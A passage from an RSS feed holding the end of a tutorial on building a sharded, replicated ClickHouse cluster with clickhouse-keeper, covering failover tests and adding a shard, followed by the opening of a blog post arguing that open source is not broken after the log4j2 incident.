<span class="giallo-l"><span>Ok.</span></span></code></pre><pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="sql"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">SELECT</span><span style="color: light-dark(#D73A49, #F47067);"> *</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">FROM</span><span style="color: light-dark(#005CC5, #6CB6FF);"> app</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">events_main</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">ORDER BY</span><span style="color: light-dark(#D73A49, #F47067);"> time</span><span style="color: light-dark(#D73A49, #F47067);"> DESC</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">LIMIT</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>┌────────────────</span><span style="color: light-dark(#D73A49, #F47067);">time</span><span>─┬──event_id─┬─uuid─────────────────────────────────┐</span></span>
<span class="giallo-l"><span>│ </span><span style="color: light-dark(#005CC5, #6CB6FF);">2021</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">12</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">17</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 10</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">09</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">10</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">375826335</span><span> │ 8dbbc9cf</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>8f00</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>4cc3</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>a4fb</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>0f17a68340e5 │</span></span>
<span class="giallo-l"><span>└─────────────────────┴───────────┴──────────────────────────────────────┘</span></span></code></pre>
<p>Let’s start the replica again:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">❯</span><span style="color: light-dark(#032F62, #96D0FF);"> docker-compose</span><span style="color: light-dark(#032F62, #96D0FF);"> start</span><span style="color: light-dark(#032F62, #96D0FF);"> clickhouse-green-2</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Starting</span><span style="color: light-dark(#032F62, #96D0FF);"> clickhouse-green-2</span><span style="color: light-dark(#032F62, #96D0FF);"> ...</span><span style="color: light-dark(#032F62, #96D0FF);"> done</span></span></code></pre>
<p>On querying the replica to see if it has the data:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="sql"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">SELECT</span></span>
<span class="giallo-l"><span>    hostName</span><span>(</span><span>)</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    *</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">FROM</span><span style="color: light-dark(#D73A49, #F47067);"> remote</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">172.20.0.5</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>, </span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">app</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>, </span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">events_local</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">ORDER BY</span><span style="color: light-dark(#D73A49, #F47067);"> time</span><span style="color: light-dark(#D73A49, #F47067);"> DESC</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">LIMIT</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>Query id: 422041dc</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>afe8</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>4f28</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">9659</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>6d58726f8c90</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>┌─hostName</span><span>(</span><span>)</span><span>─────────┬────────────────</span><span style="color: light-dark(#D73A49, #F47067);">time</span><span>─┬──event_id─┬─uuid─────────────────────────────────┐</span></span>
<span class="giallo-l"><span>│ clickhouse</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>green</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">2</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">2021</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">12</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">17</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 10</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">09</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">10</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">375826335</span><span> │ 8dbbc9cf</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>8f00</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>4cc3</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>a4fb</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>0f17a68340e5 │</span></span>
<span class="giallo-l"><span>└────────────────────┴─────────────────────┴───────────┴──────────────────────────────────────┘</span></span></code></pre>
<p>Perfect! The record <code>375826335</code> automatically got replicated once the replica was healthy.</p>
<h3 id="stop-a-keeper-node">Stop a Keeper Node<a class="zola-anchor" href="#stop-a-keeper-node" aria-label="Anchor link for: stop-a-keeper-node">#</a></h3>
<p><img src="https://mrkaran.dev/images/clickhouse-cluster-keeper-1-down.png" alt="image" /></p>
<p>We’ll stop a server instance that is running the <code>clickhouse-keeper</code> process. By doing this, we’ll also be killing a replica, but that is okay.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">❯</span><span style="color: light-dark(#032F62, #96D0FF);"> docker-compose</span><span style="color: light-dark(#032F62, #96D0FF);"> stop</span><span style="color: light-dark(#032F62, #96D0FF);"> clickhouse-blue-2</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Stopping</span><span style="color: light-dark(#032F62, #96D0FF);"> clickhouse-blue-2</span><span style="color: light-dark(#032F62, #96D0FF);"> ...</span><span style="color: light-dark(#032F62, #96D0FF);"> done</span></span></code></pre>
<p>Let’s insert some data:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="sql"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">INSERT INTO</span><span style="color: light-dark(#005CC5, #6CB6FF);"> app</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">events_main</span><span style="color: light-dark(#D73A49, #F47067);"> VALUES</span><span> (</span><span style="color: light-dark(#D73A49, #F47067);">now</span><span>(</span><span>)</span><span>, </span><span style="color: light-dark(#005CC5, #6CB6FF);">rand</span><span>(</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>), generateUUIDv4</span><span>(</span><span>)</span><span>);</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>Ok</span></span></code></pre>
<p>We can check the server information of the other 2 <code>keeper</code> nodes:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> echo</span><span style="color: light-dark(#032F62, #96D0FF);"> stat</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> nc</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 127.0.0.1</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 9181</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> grep</span><span style="color: light-dark(#032F62, #96D0FF);"> Mode</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Mode:</span><span style="color: light-dark(#032F62, #96D0FF);"> follower</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> echo</span><span style="color: light-dark(#032F62, #96D0FF);"> stat</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> nc</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 127.0.0.1</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 9183</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> grep</span><span style="color: light-dark(#032F62, #96D0FF);"> Mode</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Mode:</span><span style="color: light-dark(#032F62, #96D0FF);"> leader</span></span></code></pre>
<p>So, one of the <code>keeper</code> nodes has elected itself to be the leader and we have no problems in the setup so far. However, if we stop another <code>keeper</code> node, then there will be only <code>keeper</code> node remaining in the setup and to avoid a <em>Split Brain</em> issue, it won’t be able to elect itself as the leader.</p>
<p><img src="https://mrkaran.dev/images/clickhouse-cluster-keeper-2-down.png" alt="image" /></p>
<p>What happens then? Only one way to find out:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">❯</span><span style="color: light-dark(#032F62, #96D0FF);"> docker-compose</span><span style="color: light-dark(#032F62, #96D0FF);"> stop</span><span style="color: light-dark(#032F62, #96D0FF);"> clickhouse-blue-1</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Stopping</span><span style="color: light-dark(#032F62, #96D0FF);"> clickhouse-blue-1</span><span style="color: light-dark(#032F62, #96D0FF);"> ...</span><span style="color: light-dark(#032F62, #96D0FF);"> done</span></span></code></pre><pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="sql"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">INSERT INTO</span><span style="color: light-dark(#005CC5, #6CB6FF);"> app</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">events_main</span><span style="color: light-dark(#D73A49, #F47067);"> VALUES</span><span> (</span><span style="color: light-dark(#D73A49, #F47067);">now</span><span>(</span><span>)</span><span>, </span><span style="color: light-dark(#005CC5, #6CB6FF);">rand</span><span>(</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>), generateUUIDv4</span><span>(</span><span>)</span><span>);</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>Received exception </span><span style="color: light-dark(#D73A49, #F47067);">from</span><span style="color: light-dark(#D73A49, #F47067);"> server</span><span> (</span><span style="color: light-dark(#D73A49, #F47067);">version</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 21</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">12</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">2</span><span>):</span></span>
<span class="giallo-l"><span>Code: </span><span style="color: light-dark(#005CC5, #6CB6FF);">242</span><span>. DB::Exception: Received </span><span style="color: light-dark(#D73A49, #F47067);">from</span><span> localhost:</span><span style="color: light-dark(#005CC5, #6CB6FF);">9000</span><span>. DB::Exception: </span><span style="color: light-dark(#D73A49, #F47067);">Table</span><span style="color: light-dark(#D73A49, #F47067);"> is</span><span style="color: light-dark(#D73A49, #F47067);"> in</span><span style="color: light-dark(#D73A49, #F47067);"> readonly</span><span> mode (zookeeper </span><span style="color: light-dark(#D73A49, #F47067);">path</span><span>: </span><span style="color: light-dark(#D73A49, #F47067);">/</span><span>clickhouse</span><span style="color: light-dark(#D73A49, #F47067);">/</span><span>tables</span><span style="color: light-dark(#D73A49, #F47067);">/</span><span>events</span><span style="color: light-dark(#D73A49, #F47067);">/</span><span>green</span><span style="color: light-dark(#D73A49, #F47067);">/</span><span style="color: light-dark(#D73A49, #F47067);">table</span><span>). (TABLE_IS_READ_ONLY)</span></span></code></pre>
<p>Ah! So, we can still query for the data (which will be incomplete since <em>blue</em> shard is completely down), but we cannot insert any new data at all. We can even verify this by querying for the health of the <code>keeper</code> node:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> echo</span><span style="color: light-dark(#032F62, #96D0FF);"> mntr</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> nc</span><span style="color: light-dark(#032F62, #96D0FF);"> localhost</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 9183</span><span>            </span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">This</span><span style="color: light-dark(#032F62, #96D0FF);"> instance</span><span style="color: light-dark(#032F62, #96D0FF);"> is</span><span style="color: light-dark(#032F62, #96D0FF);"> not</span><span style="color: light-dark(#032F62, #96D0FF);"> currently</span><span style="color: light-dark(#032F62, #96D0FF);"> serving</span><span style="color: light-dark(#032F62, #96D0FF);"> requests%</span><span>                                                                                                                              </span></span></code></pre><h3 id="add-a-new-shard">Add a new shard<a class="zola-anchor" href="#add-a-new-shard" aria-label="Anchor link for: add-a-new-shard">#</a></h3>
<p><img src="https://mrkaran.dev/images/clickhouse-cluster-orange-shard.png" alt="image" /></p>
<p>Alright, so our tests so far have been quite good and show that the cluster is resilient to failures as long as there exists a <code>keeper</code> node running as <code>leader</code> mode in the quorum. Now, let’s see how to add a new shard. We’ll extend our <code>docker-compose.yml</code> to add a new <code>orange</code> shard:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  c</span><span style="color: light-dark(#22863A, #8DDB8C);">lickhouse-orange-1</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">    &lt;&lt;</span><span>:</span><span style="color: light-dark(#D73A49, #F47067);"> *</span><span>clickhouse-defaults</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    c</span><span style="color: light-dark(#22863A, #8DDB8C);">ontainer_name</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> c</span><span style="color: light-dark(#032F62, #96D0FF);">lickhouse-orange-1</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    h</span><span style="color: light-dark(#22863A, #8DDB8C);">ostname</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> c</span><span style="color: light-dark(#032F62, #96D0FF);">lickhouse-orange-1</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    p</span><span style="color: light-dark(#22863A, #8DDB8C);">orts</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> 9</span><span style="color: light-dark(#032F62, #96D0FF);">004:9000</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> 8</span><span style="color: light-dark(#032F62, #96D0FF);">127:8123</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> 9</span><span style="color: light-dark(#032F62, #96D0FF);">185:9181</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    v</span><span style="color: light-dark(#22863A, #8DDB8C);">olumes</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#22863A, #8DDB8C);"> t</span><span style="color: light-dark(#22863A, #8DDB8C);">ype</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> v</span><span style="color: light-dark(#032F62, #96D0FF);">olume</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">        s</span><span style="color: light-dark(#22863A, #8DDB8C);">ource</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> c</span><span style="color: light-dark(#032F62, #96D0FF);">h-orange-1-data</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">        t</span><span style="color: light-dark(#22863A, #8DDB8C);">arget</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> /</span><span style="color: light-dark(#032F62, #96D0FF);">var/lib/clickhouse</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">./configs/gen/clickhouse-orange-1:/etc/clickhouse-server/config.d/</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span></code></pre>
<p>Inside our <code>remote_servers.xml</code>, we’ll add the <code>orange</code> shard as well:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="xml"><span class="giallo-l"><span> &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">shard</span><span>&gt;</span></span>
<span class="giallo-l"><span>     &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">internal_replication</span><span>&gt;</span><span>true</span><span>&lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">internal_replication</span><span>&gt;</span></span>
<span class="giallo-l"><span>     &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">replica</span><span>&gt;</span></span>
<span class="giallo-l"><span>         &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">host</span><span>&gt;</span><span>clickhouse-orange-1</span><span>&lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">host</span><span>&gt;</span></span>
<span class="giallo-l"><span>         &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">port</span><span>&gt;</span><span>9000</span><span>&lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">port</span><span>&gt;</span></span>
<span class="giallo-l"><span>     &lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">replica</span><span>&gt;</span></span>
<span class="giallo-l"><span> &lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">shard</span><span>&gt;</span></span></code></pre>
<p>That’s pretty much it. Let’s start the new replica:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">docker-compose</span><span style="color: light-dark(#032F62, #96D0FF);"> up</span></span></code></pre>
<p>Let’s insert some data and query if the shard is getting data or not:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="sql"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">SELECT</span></span>
<span class="giallo-l"><span>    hostName</span><span>(</span><span>)</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    *</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">FROM</span><span style="color: light-dark(#D73A49, #F47067);"> remote</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">172.20.0.2</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>, </span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">app</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>, </span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">events_local</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>Received exception </span><span style="color: light-dark(#D73A49, #F47067);">from</span><span style="color: light-dark(#D73A49, #F47067);"> server</span><span> (</span><span style="color: light-dark(#D73A49, #F47067);">version</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 21</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">12</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">2</span><span>):</span></span>
<span class="giallo-l"><span>Code: </span><span style="color: light-dark(#005CC5, #6CB6FF);">519</span><span>. DB::Exception: Received </span><span style="color: light-dark(#D73A49, #F47067);">from</span><span> localhost:</span><span style="color: light-dark(#005CC5, #6CB6FF);">9000</span><span>. DB::Exception: All attempts </span><span style="color: light-dark(#D73A49, #F47067);">to</span><span style="color: light-dark(#D73A49, #F47067);"> get</span><span style="color: light-dark(#D73A49, #F47067);"> table</span><span> structure failed. </span><span style="color: light-dark(#D73A49, #F47067);">Log</span><span>: </span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>Code: </span><span style="color: light-dark(#005CC5, #6CB6FF);">279</span><span>. DB::NetException: All </span><span style="color: light-dark(#D73A49, #F47067);">connection</span><span> tries failed. </span><span style="color: light-dark(#D73A49, #F47067);">Log</span><span>: </span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>There </span><span style="color: light-dark(#D73A49, #F47067);">is</span><span style="color: light-dark(#D73A49, #F47067);"> no</span><span style="color: light-dark(#D73A49, #F47067);"> table</span><span style="color: light-dark(#032F62, #96D0FF);"> `</span><span style="color: light-dark(#032F62, #96D0FF);">app</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span>.</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span style="color: light-dark(#032F62, #96D0FF);">events_local</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span style="color: light-dark(#D73A49, #F47067);"> on</span><span style="color: light-dark(#D73A49, #F47067);"> server</span><span>: </span><span style="color: light-dark(#005CC5, #6CB6FF);">172</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">20</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">0</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">2</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">9000</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>. (ALL_CONNECTION_TRIES_FAILED) (</span><span style="color: light-dark(#D73A49, #F47067);">version</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 21</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">12</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">2</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">17</span><span> (official build))</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>. (NO_REMOTE_SHARD_AVAILABLE)</span></span></code></pre>
<p>Houston, we have a problem.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>&gt; There is no table `app`.`events_local` on server: 172.20.0.2:9000</span></span></code></pre>
<p>This is mentioned in the ClickHouse docs on <a rel="external" href="https://clickhouse.com/docs/en/engines/table-engines/mergetree-family/replication/">Replication</a>:</p>
<blockquote>
<p>CREATE, DROP, ATTACH, DETACH and RENAME queries are executed on a single server and are not replicated:</p>
</blockquote>
<p>This means that although we’d run <code>CREATE DATABASE</code> and <code>CREATE TABLE</code> commands using <code>ON CLUSTER</code> which executes on all servers, but since the <code>orange-1</code> node is introduced <em>after</em> we ran that command, we need to manually create the DB and Table here. We have to execute the below commands <em>inside</em> the <code>orange-1</code> replica:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="sql"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">CREATE</span><span style="color: light-dark(#D73A49, #F47067);"> DATABASE</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> app</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">CREATE</span><span style="color: light-dark(#D73A49, #F47067);"> TABLE</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> app</span><span>.events_local (</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    time</span><span style="color: light-dark(#D73A49, #F47067);"> DateTime</span><span>,</span></span>
<span class="giallo-l"><span>    event_id  Int32,</span></span>
<span class="giallo-l"><span>    uuid UUID</span></span>
<span class="giallo-l"><span>)</span></span>
<span class="giallo-l"><span>ENGINE </span><span style="color: light-dark(#D73A49, #F47067);">=</span><span> ReplicatedMergeTree(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">/clickhouse/tables/{cluster}/{shard}/{table}</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>, </span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">{replica}</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">PARTITION</span><span style="color: light-dark(#D73A49, #F47067);"> BY</span><span> toYYYYMM(</span><span style="color: light-dark(#D73A49, #F47067);">time</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">ORDER BY</span><span> (event_id);</span></span></code></pre>
<p>That’s all that is required. Adding a new replica is also the same process.</p>
<h2 id="summary">Summary<a class="zola-anchor" href="#summary" aria-label="Anchor link for: summary">#</a></h2>
<p>Hope this tutorial helped you figure out how to use <code>clickhouse-keeper</code> to set up a distributed ClickHouse cluster DB. <code>clickhouse-keeper</code> is still a relatively new feature as the docs mention already, but given that it solves operations overhead of running a Zookeeper cluster, it’s worth checking it out.</p>
<h3 id="references">References<a class="zola-anchor" href="#references" aria-label="Anchor link for: references">#</a></h3>
<ul>
<li><a rel="external" href="https://www.youtube.com/watch?v=abhcCRW09Ac">https://www.youtube.com/watch?v=abhcCRW09Ac</a>
<ul>
<li>Slides used in above talk: <a rel="external" href="https://presentations.clickhouse.com/meetup54/keeper.pdf">https://presentations.clickhouse.com/meetup54/keeper.pdf</a></li>
</ul>
</li>
<li><a rel="external" href="https://clickhouse.com/docs/en/operations/clickhouse-keeper/">https://clickhouse.com/docs/en/operations/clickhouse-keeper</a></li>
<li><a rel="external" href="https://github.com/ClickHouse/ClickHouse/tree/master/tests/integration/test_keeper_multinode_simple">https://github.com/ClickHouse/ClickHouse/tree/master/tests/integration/test_keeper_multinode_simple</a></li>
<li><a rel="external" href="https://github.com/ClickHouse/ClickHouse/issues/2161">https://github.com/ClickHouse/ClickHouse/issues/2161</a></li>
</ul>
<p>For the full code/config samples, you can check out the <a rel="external" href="https://github.com/mr-karan/clickhouse-keeper-example">repo</a>.</p>
<p>Fin!</p>
<h3 id="updates">Updates<a class="zola-anchor" href="#updates" aria-label="Anchor link for: updates">#</a></h3>
<ul>
<li>If you have setup RBAC on your cluster, make sure you add <code>&lt;user&gt;</code> and <code>&lt;password&gt;</code> fields to the <code>&lt;remote_server&gt;</code> configuration.</li>
</ul>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA["Open source" is not broken]]></title>
            <link>https://nadh.in/blog/open-source-is-not-broken/</link>
            <guid isPermaLink="false">https://nadh.in/blog/open-source-is-not-broken/</guid>
            <pubDate>Sun, 12 Dec 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[I read this article (“Open Source” is Broken by Xe) written in the aftermath of the unfortunate log4j2 fiasco. The author discusses a pertinent problem that has plagued the FOSS (Free and Open Source) world ever since large for-profit corporations started their widespread consumption of FOSS, ever since countless “unicorns” raised infinite amounts of funding on valuations built pretty much entirely on FOSS, ever since FOSS got co-opted into corporatisation and capitalisation. And yet, countless maintainers of critical and widely used FOSS struggle to make a living.]]></description>
            <content:encoded><![CDATA[<p>I read <a href="https://christine.website/blog/open-source-broken-2021-12-11">this article</a> (<em>&ldquo;Open Source&rdquo; is Broken</em> by Xe) written in the aftermath of the unfortunate <a href="https://en.wikipedia.org/wiki/Log4j#Log4Shell_vulnerability"><code>log4j2</code> fiasco</a>. The author discusses a pertinent problem that has plagued the FOSS (Free and Open Source) world ever since large for-profit corporations started their widespread consumption of FOSS, ever since countless &ldquo;unicorns&rdquo; raised infinite amounts of funding on valuations built pretty much entirely on FOSS, ever since FOSS got co-opted into corporatisation and capitalisation. And yet, countless maintainers of critical and widely used FOSS struggle to make a living.</p>]]></content:encoded>
            <author>Kailash Nadh</author>
        </item>
        <item>
